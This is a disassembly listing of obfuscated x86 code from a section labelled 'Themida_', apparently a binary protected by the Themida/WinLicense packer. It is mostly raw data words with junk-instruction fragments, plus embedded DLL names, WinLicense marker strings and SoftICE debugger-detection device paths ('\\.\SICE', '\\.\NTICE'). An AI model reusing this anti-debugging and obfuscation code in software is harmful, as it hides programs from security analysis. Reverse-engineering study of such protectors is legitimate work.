loc_55687B:				; CODE XREF: Themida_:005521D6j
		sub	ebp, 7B5539B3h
		jmp	loc_54F945
; ---------------------------------------------------------------------------
		dw 0E2D1h
		dd 0CA81D2F7h, 18042FDEh, 6FEA8142h, 29B998D6h,	0EA815AD5h
		dd 5E2904F2h, 0FFEFADE9h, 0E9CE88FFh, 0FFFF8041h, 4EC8159h
		dd 89000000h, 0EC83241Ch, 243C8904h, 51566850h,	48B4E1Fh
		dd 4C48124h, 2D000000h,	29965A06h, 7D788305h, 4EC830Dh
		dd 89241C89h, 5BDF89C3h, 0E924048Bh, 0FFFFF96Ah, 6468h
		dd 0C65E900h, 0EF81FFFFh, 3BFF6A7Eh, 2424B951h,	0F1812BBDh
		dd 753E2A83h, 3BFCC181h, 0CF01C12Ah, 0E9F70159h, 0FFFEF78Ch
; ---------------------------------------------------------------------------

loc_556914:				; CODE XREF: Themida_:00556B24j
		mov	esi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_552E45
; ---------------------------------------------------------------------------

loc_55692F:				; CODE XREF: Themida_:00545EC8j
		sub	esp, 4
		mov	[esp], edi
		push	ebp
		push	edi
		push	ebx
		mov	ebx, 3DEC7D2Ah
		jmp	loc_549C2E
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 8904EC83h, 4812424h,	424h, 4055800h,	57000000h, 583D9C68h
		dd 243C8B3Dh, 8304C483h, 48904ECh, 7823B824h, 0E8C1712Eh
		dd 0D0F74805h, 50633E2Dh, 4B685675h, 0FF33674Ch, 0E7E92434h
		dd 52FFFF4Dh, 2BEABE56h, 75E9499Ch, 0FFFF8Ah, 665A66D0h
		dd 66D82859h, 66104868h, 52240C89h, 0D188CCB2h,	66C8005Ah
		dd 50240C8Bh, 405E089h,	5000000h, 2, 31240433h,	4332404h
		dd 5BFEE924h
		db 2 dup(0FFh)
word_5569CE	dw 8B66h		; DATA XREF: Themida_:005419B8o
		dd 2768240Ch, 89000021h, 0E2892414h, 0FF59D3E9h, 756855FFh
		dd 0E97D4F40h, 0FFFFCB3Ah, 4637FD05h, 6C3E957h,	0E95AFFFFh
		dd 0FFFF2768h
; ---------------------------------------------------------------------------

loc_5569FC:				; CODE XREF: Themida_:00544542j
		pop	edx
		push	ebx
		jmp	loc_542E08
; ---------------------------------------------------------------------------
		db 55h
		dd 0CF2080BDh, 0D2FEE938h, 0C728FFFEh, 0FFAB13E9h, 24348BFFh
		dd 4C481h, 0EB830000h, 74FF5304h, 5BE90424h, 0FFFFFF79h
		dd 83582434h, 0FB0104C4h, 51243C8Bh, 0C181E189h, 4, 4BE56h
		dd 0F1010000h, 240C875Eh, 74FF535Ch, 34FF0424h,	0DD19E924h
		dd 0ED81FFFFh, 2E0E56BEh, 249DF581h, 0E889EF0Ch, 0FEC42FE9h
		dd 9E685AFFh, 89000065h, 73B82404h, 0E974071Bh,	0FFFF90F0h
; ---------------------------------------------------------------------------

loc_556A80:				; CODE XREF: Themida_:0054FEA8j
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_54230E
; ---------------------------------------------------------------------------

loc_556A8E:				; CODE XREF: Themida_:00550733j
		sub	[edi+24h], ecx
		mov	ecx, [esp]
		add	esp, 4

loc_556A97:				; CODE XREF: Themida_:0054B6A2j
		push	1D0h
		mov	[esp], ecx
		push	esi
		push	ebx
		pop	esi
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_5482F8
; ---------------------------------------------------------------------------

loc_556AAD:				; CODE XREF: Themida_:0054BE96j
		jmp	loc_541B1F
; ---------------------------------------------------------------------------
		dw 0BBh
		dd 968C824h, 0BA525BD8h, 65D971EAh, 0FEFC3EE9h,	0C4BF57FFh
		dd 6831D15Bh, 2314h, 0B9240C89h, 2BC95D0Ah, 0FF54E2E9h
		dd 51F1BDFFh, 0DDF75D33h, 20FED81h, 0B850713Bh,	70374CBEh
		dd 0FFFFFF05h, 58BA52FFh, 810D6E3Ah, 0D91CCCF2h, 4EBF5710h
		dd 0E9100203h, 0FFFF0264h, 8007E5C0h, 0F58073E5h, 90E58053h
		dd 2C85C580h, 4CA2E9A6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_556B22:				; CODE XREF: Themida_:00542A0Bj
		mov	edx, esi
		jmp	loc_556914
; ---------------------------------------------------------------------------

loc_556B29:				; CODE XREF: Themida_:00547150j
		sub	esi, 5BDA6790h
		sub	esi, eax
		add	esi, 5BDA6790h
		pop	eax
		jmp	loc_54E43F
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 0C62BB1BEh, 0DAA6E93Fh, 0E781FFFEh, 566E47F0h, 0FF6F03E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_556B55:				; CODE XREF: Themida_:00543A77j
		sub	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		mov	ebp, [esp]
		add	esp, 4
		pop	esi
		shl	ecx, 6
		xor	ecx, ebx
		xor	ebx, ecx
		xor	ecx, ebx
		inc	ebx
		xchg	ebx, ecx
		jmp	loc_552905
; ---------------------------------------------------------------------------

loc_556B75:				; CODE XREF: Themida_:0054D42Fj
		mov	[esp], esi
		mov	esi, 0CF7AF06Ah
		sub	ecx, esi
		pop	esi
		mov	edi, ecx
		jmp	loc_555AE6
; ---------------------------------------------------------------------------
byte_556B87	db 66h			; DATA XREF: Themida_:00541A5Co
		dd 5124048Bh, 0FF699FE9h, 35BFBFFFh, 63B80473h,	31674716h
		dd 243C8BF8h, 2D04C483h, 336732D6h, 8697E955h, 36EBFFFFh
		dd 52455355h, 642E3233h, 41006C6Ch, 50415644h, 2E323349h
		dd 6C6C64h, 4C44544Eh, 6C642E4Ch, 7D7006Ch, 20007h, 100018h
		dd 2C0016h, 0ED880138h,	9CE91D03h, 68000007h, 61D97BDh
		dd 0FDE727E9h, 983B68FFh, 1DE9061Dh, 68FFFDE7h,	61D9908h
		dd 0FDE713E9h, 9A2C68FFh, 9E9061Dh, 68FFFDE7h, 61D9A8Fh
		dd 0FDE6FFE9h, 9B6868FFh, 0F5E9061Dh, 68FFFDE6h, 61D9BCBh
		dd 0FDE6EBE9h, 720DDFFFh, 9F3E38CFh, 680FEB00h,	0A64132C9h
		dd 5E05EC03h, 0CD0496BBh, 855AFDA4h, 0D229C86Bh, 8E6504A3h
		dd 0A71BBE61h, 0EA56A72Ch, 402938D5h, 0D6579C82h, 2CB33A8Fh
		dd 0C4F559CAh, 0D864E75Dh, 3074750Ch, 836D46FFh, 8B40E0h
		dd 0E8D67BE2h, 54D7F247h, 0FF4D05CFh, 57F056E4h, 0CC4F7ABFh
		dd 1A565347h, 0E906DDDDh, 0FDA1A946h, 7340C341h, 0A93EE184h
		dd 0CD5B2BCEh, 9BA3D253h, 62DC812h, 8E5E0000h, 6F7F54F3h
		dd 0A0DA31D0h, 728156F9h, 0D6A338D7h, 0B7ED902Fh, 9938DF1Ah
		dd 0F4933642h, 0D06F0EDFh, 0F6993C3Bh, 3BC241C4h, 5638D5EAh
		dd 0E86DAD95h, 0C87D926Bh, 0B757ED3Eh, 15B25522h, 0AF2EB530h
		dd 0C23EC87Dh, 0EB72A444h, 48D857DEh, 17C4F6C4h, 18552AB1h
		dd 531DF279h, 933317B0h, 542BB174h, 0FA9DDB61h,	6F05136Ah
		dd 9C3B3ACFh, 6407F003h, 0E3D9FE94h, 9545CA49h,	5AFh, 0D67914E0h
		dd 0B356F501h, 10AF561Ch, 0BA5DF8FBh, 2A54C25h,	5D943D5Fh
		dd 0B4BC13B6h, 5C996E11h, 0AAC51ABDh, 0CF766807h, 0D5E58950h
		dd 3B07E838h, 0B45B966Dh, 7A8F2F1Bh, 0B63DDA7Dh, 7A7916B9h
		dd 0B043DC7Bh, 0D68522C9h, 0B41B4908h, 0A71D87CAh, 0B10284B5h
		dd 3Eh,	39DC1B11h, 966B9096h, 903EC87Dh, 0F125C467h, 5BD65D6Ch
		dd 0B1FA39CDh, 0E38359EDh, 0F4089F5Eh, 0D154F2C4h, 0B050F702h
		dd 0F897D6ADh, 31D09E75h, 0F312B694h, 0D57211DCh, 51A05h
		dd 0DC1B7B00h, 0E37A9C39h, 56E05FE6h, 29C4F557h, 8E7FC9Bh
		dd 950C265h, 19B63DC0h,	0FC3D1212h, 3D38078Eh, 9E4FB9Eh
		dd 4926CD6Ah, 0DB32D2A6h, 31FE43C6h, 4E2A9h, 46E11300h
		dd 83224CA3h, 3CE30FE4h, 8A25469Dh, 42E910E7h, 0A928BA9Fh
		dd 718629D0h, 0AE45E487h, 6A8120BFh, 9347EA8Dh,	0E46A73F0h
		dd 240538D5h, 39DC1B9Eh, 99DAA99Ch, 45E961FEh, 8B24C7B0h
		dd 0F0252CD6h, 3EC87FF3h, 0B13BB26Ch, 3F1F0284h, 0A3FFFFFFh
		dd 9C39DC1Bh, 5FE6E37Ah, 0F55352E0h, 0F8972DC4h, 830ABF06h
		dd 1190D2FCh, 46DF653Dh, 1CBFFFDh, 973637CDh, 57FAF5FEh
		dd 9AB579BEh, 0D998866Ch, 4E6BF96Fh, 1745FF6h, 9CE30000h
		dd 2C8FD657h, 57DC4B25h, 3EC80E86h, 5CDF6BD9h, 0DD60E276h
		dd 0F5FBE056h, 4ED573C4h, 8FD229CAh, 0D3A2E383h, 31AF9B34h
		dd 31B3588Dh, 0F4E8D795h, 5CD95C6Dh, 2AC36A87h,	29BB8020h
		dd 2BE4FEEBh, 73ADFB9Dh, 7A71CCDh, 6936BD4Bh, 0F456EF8Ah
		dd 78ABB54h, 38687188h,	0D67A1027h, 0A92C9D24h,	0EE5F7A23h
		dd 8F2FEA4Bh, 0E8C349CCh, 67ADA027h, 0D4C88D31h, 6BDD0479h
		dd 6E8956DDh, 98D72CCBh, 9CDAD09Eh, 68E27BFDh, 426C16EAh
		dd 7738A3D4h, 3BE63h, 62FDEF00h, 0AF4E28BFh, 58FFFB10h
		dd 0B65122B9h, 0EB5BC13h, 0FDD4066Bh, 55AA4DF4h, 2D9781Bh
		dd 1EB554F3h, 0D70BAE51h, 0E726B73Ch, 703938D5h, 22A73ED2h
		dd 0C4F4149Bh, 0D86BC4F6h, 2A17825Bh, 0DD62DDC7h, 0C72A171Ch
		dd 0D553D573h, 0D574814Eh, 31D09D32h, 0ED905F94h, 0E38E5719h
		dd 7E5C3149h, 35Bh, 22C5608Ch, 5F02A1CDh, 2CCB7288h, 56F994D7h
		dd 2ED17881h, 4138994Bh, 18E0F79Ah, 0F0FDD275h,	1E59AE51h
		dd 6BEADC7Bh, 0D5E715E4h, 0BF836C38h, 9C39DC1Bh, 0F81123A9h
		dd 1B5F6575h, 0E689667Bh, 2CCBAA49h, 0F5986093h, 0CFA28C58h
		dd 54C36A1h, 0C89813D0h, 5B924C3Eh, 0FF028597h,	0FFFFFDAAh
		dd 0E2DC1B83h, 5AF37514h, 21A425BCh, 0F5564CA2h, 22A91FC4h
		dd 0E3831E4Dh, 6A9CFE44h, 0BD388CD1h, 0C87DA736h, 0C74CBA3Eh
		dd 3EC87D36h, 0B63DBB49h, 0F559C739h, 6BF258C4h, 92615B94h
		dd 0E0D579F7h, 1435786Bh, 5178CD9Fh, 3BBF45CAh,	4AC09538h
		dd 0F5D469ADh, 980DF16Eh, 24A28F46h, 0E69824A1h, 0D06BCA72h
		dd 65926707h, 0AFC81FC2h, 8CBE3C0Ch, 58AF596h, 282D5h
		dd 26C1B300h, 0E3826C83h, 1CC3AF44h, 0EA85667Dh, 22C9B047h
		dd 9C8DA7Fh, 51A649F0h,	0EE58427h, 4AA140DFh, 0F3E78A2Dh
		dd 0E60AD350h, 846538D5h, 22A73EBEh, 0C4E2149Bh, 0EA6EC4F6h
		dd 1E06805Eh, 38F49434h, 79744BD2h, 0D5A037DAh,	0D7AC9936h
		dd 0EF5BF49Bh, 1ABDBA4Fh, 0E3889E46h, 35A56A49h, 21Fh
		dd 0E6892450h, 0A346E511h, 0E07F264Ch, 0AA4DE80Bh, 0D2751C55h
		dd 8D646D6Fh, 0C4AC43E6h, 8C697E21h, 0BAB54AEDh, 0BF467817h
		dd 0D5E6B940h, 2B17D838h, 0B75A966Dh, 0F69DD51Eh, 0CF6FF159h
		dd 8B6A085Dh, 6F08F9DEh, 109285ECh, 52840B92h, 0E5C4F67Ah
		dd 0E807DC5Fh, 12A2A845h, 9488B520h, 0C3862A39h, 0E685713Eh
		dd 1FC2AD42h, 37338E80h, 51F99639h, 0C0C74CCFh,	53C72B7Ah
		dd 9EDB18B5h, 6AE75EF7h, 2B7A14E5h, 39DD6BC7h, 412D027Dh
		dd 10E9FEA2h, 954C669h,	0D9A735B8h, 5B479D48h, 29A6A94Dh
		dd 0C72BE028h, 3FB451B7h, 0DCF08D30h, 9235D817h, 0F68F323Dh
		dd 7EA80D7Eh, 87816EF3h, 0C42FC867h, 0D8720BAAh, 0D279815Ah
		dd 0F4931535h, 0D06D10DFh, 16AF5623h, 51D69945h, 0FE48326h
		dd 20B936E2h, 3FC72BE0h, 0C6AE47C9h, 0E86DF0C5h, 2BE0926Bh
		dd 9069E6C7h, 0EFC72BE0h, 0CB6BD959h, 70890E61h, 0F3A183BBh
		dd 2DAB98C9h, 0D57C758Ah, 0DBABB38h, 0FC594A51h, 5FF87A8Dh
		dd 69EE81ABh, 0DF62E990h, 2BD39960h, 8D84F8C7h,	8032FB41h
		dd 0E342E664h, 0AE9E30Ch, 0F674D66Fh, 3960EC59h, 0E98866C8h
		dd 5C6EFE4Ch, 0B97E22B6h, 8FBF1A9Eh, 35BA953Fh,	0CC0D923Ah
		dd 0A37FB85Bh, 5320A325h, 0AD4C2927h, 0A9AC8B2Bh, 56FA9DDAh
		dd 50D37681h, 30D07783h, 6E15DC17h, 14E56AE7h, 6B7FB85Bh
		dd 57E039DDh, 0F40388C7h, 1E59AE51h, 0F67DF87Bh, 7FB85BE7h
		dd 0D36C0C7Ah, 7B74FE43h, 4CD35AD8h, 858563F6h,	0CA3CDB69h
		dd 49CF5673h, 3516EB8Eh, 4205A9EAh, 0A3862BBDh,	31CE3CFFh
		dd 6F12B5C2h, 39BC5F98h, 4DEA8D6Ah, 0AA4924FDh,	12162D06h
		dd 6CE6DE43h, 0A84BE47Fh, 62912ECDh, 8933F594h,	170798C6h
		dd 1A4D358h, 0CB6E895Eh, 17B2C132h, 0F628C7Eh, 44EB07DCh
		dd 0B0CA9FABh, 3ADE6C09h, 8827CAA5h, 44E18473h,	0FEFF8401h
		dd 9124D145h, 0C6553F3h, 0DE000000h, 0E315755Ah, 1EC22C34h
		dd 1BBC8618h, 52A13ED9h, 0EE58225h, 4CA740DFh, 0FE48124h
		dd 51A23BE2h, 0FE48128h, 4FA441DCh, 10E37C23h, 24AE47E6h
		dd 2E4D68h, 243C8900h, 0C781E789h, 4, 8704EF83h, 685C243Ch
		dd 1B51h, 68241C89h, 7DF0h, 55243489h, 5F4660BDh, 0C5814D6Bh
		dd 9ABE50DDh, 24048155h, 27EC4B72h, 72EB815Bh, 5D27EC4Bh
		dd 24348B54h, 5304C483h, 0C72BD55h, 6C2948D3h, 8F5D0424h
		dd 46810846h, 0D30C7208h, 2434FF48h, 4C4815Eh, 0FF000000h
		dd 815B2434h, 4C4h, 0DF9EE900h,	97A8FFFDh, 0EDB67300h
		dd 0B8017783h
		dd 61D9E0Fh, 0E0FFC503h, 5F23B7CEh, 242508EBh, 53CC3D27h
		dd 14E8h, 3BC09500h, 2D146ACDh,	0BF53E3DFh, 0A578145h
		dd 0FE67542Bh, 10E9B5h,	93480000h, 795246Bh, 6BA4707Fh
		dd 9447E507h, 815E039Ah, 69ABC6h, 6FD68000h, 0BF0FDB33h
		dd 3334FFFEh, 880F6057h, 0
		dd 5961D38Bh, 0CBB70F58h, 1F23C081h, 0E78120AEh, 26C0DF04h
		dd 0E426C081h, 8A6028E4h, 5EFBB8ECh, 81614F7Ch,	6BFE15F0h
		dd 0AE929h, 19530000h, 95177A3Ch, 30FCFD48h, 661E0489h
		dd 0EB81D38Bh, 36BD5486h, 5482C381h, 0E18036BDh, 1CFB8170h
		dd 0FFFFF97h, 1F85h, 33D28100h,	0E92619BDh, 24h, 3D054BEEh
		dd 1AA202Ch, 6146023Ch,	2DDBF59Dh, 0C6E4244Ch, 76E9CC8Ah
		dd 23FFFFFFh, 0AEA0AE7Bh, 0D678F6BFh, 71E9h, 0BD836000h
		dd 61B25E5h, 5840F00h, 0E9000000h, 5Ch,	3E80006Ah, 8850F30h
		dd 6A000000h, 35E94600h, 80000000h, 850F333Eh, 8, 0E946106Ah
		dd 24h,	0F343E80h, 885h, 46306A00h, 13E9h, 353E8000h, 8850Fh
		dd 406A0000h, 2E946h, 6A0000h, 1BF9858Dh, 5090061Bh, 96509690h
		dd 95FF006Ah, 61B2F79h,	85C6C361h, 61B239Dh, 9651684Dh
		dd 481418Dh, 0A7E05724h, 0B5B5FF62h, 8D061B29h,	1B391F85h
		dd 89D0FF06h, 1B2F7985h, 13E806h, 5DB30000h, 28929EE7h
		dd 60C65215h, 680066EFh, 15B84A2Ah, 0C3815022h,	7BABBD34h
		dd 13E95859h, 0C1000000h, 0A3735BA2h, 0E71FD7EEh, 31BB9530h
		dd 0ED703EAEh, 0C081438Dh, 73C8h, 0EF71CDBAh, 0F8C28112h
		dd 66ED10AAh, 30FFCE8Bh, 5EB5D980h, 4BC18056h, 0F9C68159h
		dd 661BB955h, 81D803B9h, 744DC9EEh, 81DE8B68h, 238276C6h
		dd 8B665607h, 29008FFAh, 1B14259Dh, 3E88306h, 8048F88Bh
		dd 0EA83B3CFh, 1F850F01h, 8B000000h, 1B2F999Dh,	24E906h
		dd 0E4230000h, 823285D7h, 7B4F1D7Ah, 0E66B653Ah, 3F3210BAh
		dd 9D892C1Ch, 61B1459h,	0FFFF95E9h, 527BE7FFh, 0AAE91FFCh
		dd 53000000h, 7774666Fh, 5C657261h, 4C6E6957h, 6E656369h
		dd 43006573h, 6B636568h, 58004E49h, 746F7270h, 74697845h
		dd 65684300h, 554F6B63h, 69570054h, 63694C6Eh, 65736E65h
		dd 73726556h, 6E6F69h, 4C6E6957h, 6E656369h, 72446573h
		dd 72657669h, 73726556h, 6E6F69h, 4C6E6957h, 6E656369h
		dd 6E496573h, 6E617473h, 45006563h, 4F746978h, 7250006Bh
		dd 4E49636Fh, 6F725000h, 54554F63h, 69784500h, 4E4974h
		dd 74697845h, 54554Fh, 4E497054h, 3 dup(0)
		dd 0DDAF7F00h, 0DD72F077h, 596E977h, 85890000h,	61DA170h
		dd 0A16C858Dh, 8D50061Dh, 1DA0D685h, 1685006h, 0FF800000h
		dd 1DA17C95h, 0FF196A06h, 1DA170B5h, 6A016A06h,	5858D00h
		dd 50061DA1h, 0A16CB5FFh, 95FF061Dh, 61B18E5h, 0A16CB5FFh
		dd 95FF061Dh, 61DA178h,	0A16CB5FFh, 95FF061Dh, 61B1D91h
		dd 708589C3h, 8D061DA1h, 1DA16C85h, 858D5006h, 61DA0D6h
		dd 16850h, 95FF8000h, 61DA17Ch,	858D046Ah, 61DA170h, 6A046A50h
		dd 2F858D00h, 50061DA1h, 0A16CB5FFh, 95FF061Dh,	61B18E5h
		dd 0A16CB5FFh, 95FF061Dh, 61DA178h, 0A16CB5FFh,	95FF061Dh
		dd 61B1D91h, 708589C3h,	8D061DA1h, 1DA16C85h, 858D5006h
		dd 61DA0D6h, 16850h, 95FF8000h,	61DA17Ch, 858D046Ah, 61DA170h
		dd 6A046A50h, 17858D00h, 50061DA1h, 0A16CB5FFh,	95FF061Dh
		dd 61B18E5h, 0A16CB5FFh, 95FF061Dh, 61DA178h, 0A16CB5FFh
		dd 95FF061Dh, 61B1D91h,	708589C3h, 8D061DA1h, 1DA16C85h
		dd 858D5006h, 61DA0D6h,	16850h,	95FF8000h, 61DA17Ch, 858D046Ah
		dd 61DA170h, 6A046A50h,	42858D00h, 50061DA1h, 0A16CB5FFh
		dd 95FF061Dh, 61B18E5h,	0A16CB5FFh, 95FF061Dh, 61DA178h
		dd 0A16CB5FFh, 95FF061Dh, 61B1D91h, 708589C3h, 8D061DA1h
		dd 1DA16C85h, 858D5006h, 61DA0D6h, 16850h, 95FF8000h, 61DA17Ch
		dd 858D046Ah, 61DA170h,	6A046A50h, 0F2858D00h, 50061DA0h
		dd 0A16CB5FFh, 95FF061Dh, 61B18E5h, 0A16CB5FFh,	95FF061Dh
		dd 61DA178h, 0A16CB5FFh, 95FF061Dh, 61B1D91h, 99BD83C3h
		dd 61B1Eh, 0B840Fh, 9D8B0000h, 61B1E99h, 894CC383h, 0BD83C303h
		dd 61B1E99h, 0B840F00h,	8B000000h, 1B1E999Dh, 50C38306h
		dd 83C30389h, 1B1E99BDh, 840F0006h, 0Bh, 1E999D8Bh, 0C383061Bh
		dd 0C3038954h, 1E99BD83h, 0F00061Bh, 0B84h, 999D8B00h
		dd 83061B1Eh, 38958C3h,	99BD83C3h, 61B1Eh, 0B840Fh, 9D8B0000h
		dd 61B1E99h, 895CC383h,	60C3C303h, 0A1708589h, 858D061Dh
		dd 61DA16Ch, 0D6858D50h, 50061DA0h, 168h, 7C95FF80h, 6A061DA1h
		dd 70858D04h, 50061DA1h, 6A046Ah, 0A167858Dh, 0FF50061Dh
		dd 1DA16CB5h, 0E595FF06h, 83061B18h, 1B23D1BDh,	840F0006h
		dd 0Ch,	0A16CB5FFh, 95FF061Dh, 61DA178h, 0A16CB5FFh, 95FF061Dh
		dd 61B1D91h, 8960C361h,	1DA17085h, 6C858D06h, 50061DA1h
		dd 0A0D6858Dh, 6850061Dh, 80000001h, 0A17C95FFh, 46A061Dh
		dd 0A170858Dh, 6A50061Dh, 8D006A04h, 1DA14985h,	0B5FF5006h
		dd 61DA16Ch, 18E595FFh,	0BD83061Bh, 61B23D1h, 0C840F00h
		dd 0FF000000h, 1DA16CB5h, 7895FF06h, 0FF061DA1h, 1DA16CB5h
		dd 9195FF06h, 61061B1Dh, 858960C3h, 61DA170h, 0A16C858Dh
		dd 8D50061Dh, 1DA0D685h, 1685006h, 0FF800000h, 1DA17C95h
		dd 8D046A06h, 1DA17085h, 46A5006h, 858D006Ah, 61DA150h
		dd 6CB5FF50h, 0FF061DA1h, 1B18E595h, 0D1BD8306h, 61B23h
		dd 0C840Fh, 0B5FF0000h,	61DA16Ch, 0A17895FFh, 0B5FF061Dh
		dd 61DA16Ch, 1D9195FFh,	0C361061Bh, 70858960h, 8D061DA1h
		dd 1DA16C85h, 858D5006h, 61DA0D6h, 16850h, 95FF8000h, 61DA17Ch
		dd 858D046Ah, 61DA170h,	6A046A50h, 58858D00h, 50061DA1h
		dd 0A16CB5FFh, 95FF061Dh, 61B18E5h, 23D1BD83h, 0F00061Bh
		dd 0C84h, 6CB5FF00h, 0FF061DA1h, 1DA17895h, 6CB5FF06h
		dd 0FF061DA1h, 1B1D9195h, 60C36106h, 0A1708589h, 858D061Dh
		dd 61DA16Ch, 0D6858D50h, 50061DA0h, 168h, 7C95FF80h, 6A061DA1h
		dd 70858D04h, 50061DA1h, 6A046Ah, 0A15F858Dh, 0FF50061Dh
		dd 1DA16CB5h, 0E595FF06h, 83061B18h, 1B23D1BDh,	840F0006h
		dd 0Ch,	0A16CB5FFh, 95FF061Dh, 61DA178h, 0A16CB5FFh, 95FF061Dh
		dd 61B1D91h, 0C760C361h, 1DA17085h, 106h, 6C858D00h, 50061DA1h
		dd 0A0D6858Dh, 6850061Dh, 80000002h, 0A17C95FFh, 0C00B061Dh
		dd 0F840Fh, 85C70000h, 61DA170h, 0
		dd 4DE9h, 8D046A00h, 1DA17085h,	46A5006h, 858D006Ah, 61DA0EAh
		dd 6CB5FF50h, 0FF061DA1h, 1B18E595h, 0FC00B06h,	0F84h
		dd 7085C700h, 61DA1h, 0E9000000h, 0Ah, 0A17085C7h, 1061Dh
		dd 0B5FF0000h, 61DA16Ch, 1D9195FFh, 8B61061Bh, 1DA17085h
		dd 8960C306h, 1DA17085h, 6C858D06h, 50061DA1h, 0A0D6858Dh
		dd 6850061Dh, 80000001h, 0A17C95FFh, 46A061Dh, 0A170858Dh
		dd 6A50061Dh, 8D006A04h, 1DA0EA85h, 0B5FF5006h,	61DA16Ch
		dd 18E595FFh, 0BD83061Bh, 61B23D1h, 0C840F00h, 0FF000000h
		dd 1DA16CB5h, 7895FF06h, 0FF061DA1h, 1DA16CB5h,	9195FF06h
		dd 61061B1Dh, 858960C3h, 61DA170h, 0A16C858Dh, 8D50061Dh
		dd 1DA0D685h, 1685006h,	0FF800000h, 1DA17C95h, 8D046A06h
		dd 1DA17085h, 46A5006h,	858D006Ah, 61DA0FCh, 6CB5FF50h
		dd 0FF061DA1h, 1B18E595h, 0D1BD8306h, 61B23h, 0C840Fh
		dd 0B5FF0000h, 61DA16Ch, 0A17895FFh, 0B5FF061Dh, 61DA16Ch
		dd 1D9195FFh, 0C361061Bh, 239D85C6h, 6852061Bh,	0ADE47B07h
		dd 2DB9B5FFh, 95FF061Bh, 61B0671h, 0A17C8589h, 85C6061Dh
		dd 61B239Dh, 0E56852h, 0B5FF902Eh, 61B2DB9h, 67195FFh
		dd 8589061Bh, 61DA178h,	239D85C6h, 6852061Bh, 0B9BF1235h
		dd 2DB9B5FFh, 95FF061Bh, 61B0671h, 18E58589h, 85C6061Bh
		dd 61B239Dh, 10346852h,	0B5FF9878h, 61B2DB9h, 67195FFh
		dd 8589061Bh, 61B1D91h,	239D85C6h, 6852061Bh, 0C005DBD4h
		dd 2DB9B5FFh, 95FF061Bh, 61B0671h, 2EF18589h, 1EEB061Bh
		dd 5C2E5C5Ch, 45434953h, 2E5C5C00h, 5749535Ch, 444956h
		dd 5C2E5C5Ch, 4349544Eh, 0C08B0045h, 1785B589h,	0BD83061Bh
		dd 61B23D1h, 83097500h,	1B3129BDh, 19740006h, 0C08B5350h
		dd 40FB8h, 0A1858900h, 8D061B2Dh, 1DA64D9Dh, 5BD3FF06h
		dd 29BD8358h, 61B31h, 53501774h, 40FB8h, 0A1858900h, 8D061B2Dh
		dd 1DA33C9Dh, 5BD3FF06h, 5D9D3158h, 6A061B06h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 2936C351h, 1B0EE1B5h, 0FC08B06h, 85C6F7BFh, 61B239Dh
		dd 0D9BD8943h, 0E8061B2Bh, 4, 0BC8E6EFCh, 0E850D78Bh, 0Dh
		dd 0CD0A29F0h, 76166CC3h, 17F5E43h, 448B5ABFh, 8B0424h
		dd 5E8h, 11BD3600h, 8B66664Bh, 44895ECEh, 0BE80424h, 7F000000h
		dd 0A6E69FF9h, 77BE5EE0h, 8B66E052h, 89585AFEh,	1B01ADBDh
		dd 0F9B5FF06h, 81061B2Bh, 558066EAh, 1F858D31h,	6A061B39h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 759FC357h, 4DDDE614h, 2924BD9Bh, 1B07019Dh
		dd 89D0FF06h, 1B245D85h, 6E89006h, 5E000000h, 90FF107Dh
		dd 0FE8B66B0h, 5250505Ah, 14E95250h, 0ED000000h, 1D0D6612h
		dd 266AA778h, 0AA93998Eh, 0E1995C92h, 0FEDF2B8h, 0F585A31h
		dd 0EE831h, 0DA8E0000h,	6167CBCh, 287E6E96h, 4961BA91h
		dd 90585A59h, 23D9BD89h, 8D0F061Bh, 0Ch, 6890Fh, 0F7810000h
		dd 3DC28B07h, 9FBE006Ah, 68683592h, 0EAD3DDB5h,	996596BEh
		dd 24048145h, 152C22CBh, 36AEA8Ah, 30E58D8Bh, 6A061Bh
		dd 19A19589h, 0E5BF061Bh, 6A455009h, 198D0103h,	0E8061B08h
		dd 4, 0C0000000h, 71351ABEh, 0D18B5009h, 424448Bh, 8B565250h
		dd 310F5FD6h, 197FBF66h, 8B585Ah, 5363A4B9h, 2444893Fh
		dd 66525004h, 0FF6D7BEh, 10E831h, 0AB2A0000h, 0DCE77BFAh
		dd 0DCF2C10Eh, 0A0D524ABh, 0BF6612CFh, 5A5AB892h, 0FE95858h
		dd 0D4000000h, 0CE597A86h, 35A932A2h, 0BDFADD15h, 9D8D138Dh
		dd 61DA7B3h, 3929BF66h,	0AE96050h, 18000000h, 0E7820138h
		dd 0DB99C63Dh, 1C8961F1h, 53006A24h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 0FC579A99h
		dd 8BD0FF5Ah, 1B0C6D8Dh, 8D895206h, 61B0201h, 850F405Ah
		dd 2B0h, 5880DA80h, 393EB966h, 6E86090h, 39000000h, 29018187h
		dd 5A5850A9h, 13E9h, 0BE261A00h, 7CA9AB8Fh, 0FC6515CDh
		dd 0D328A058h, 4F2E7163h, 0BA665061h, 6A909149h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 6FB2C350h, 5673206Bh, 6A142ACAh, 59B53300h, 8B061B14h
		dd 1B12A5BDh, 0DAEF6806h, 8B663B12h, 243481F0h,	3B12DA6Fh
		dd 18698D8Bh, 49B9061Bh, 6A22720Ch, 6A616003h, 15B58B00h
		dd 6A061B31h, 5FD28103h, 68775D09h, 4F88AEDFh, 481D18Bh
		dd 77512124h, 9D8DF870h, 61DA7BCh, 92D98166h, 6CB99332h
		dd 506073D1h, 52936160h, 0D0FF59FCh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 0ECC35545h,	50BE66ECh, 850F400Bh
		dd 1C8h, 30EDBD89h, 0E958061Bh,	0Ch, 1D037227h,	0A48F515Eh
		dd 35A14728h, 14840F50h, 0E8000000h, 0Bh, 10104802h, 0D6A00688h
		dd 66365F38h, 895EF18Bh, 0BD8B2404h, 61B1085h, 4E8006Ah
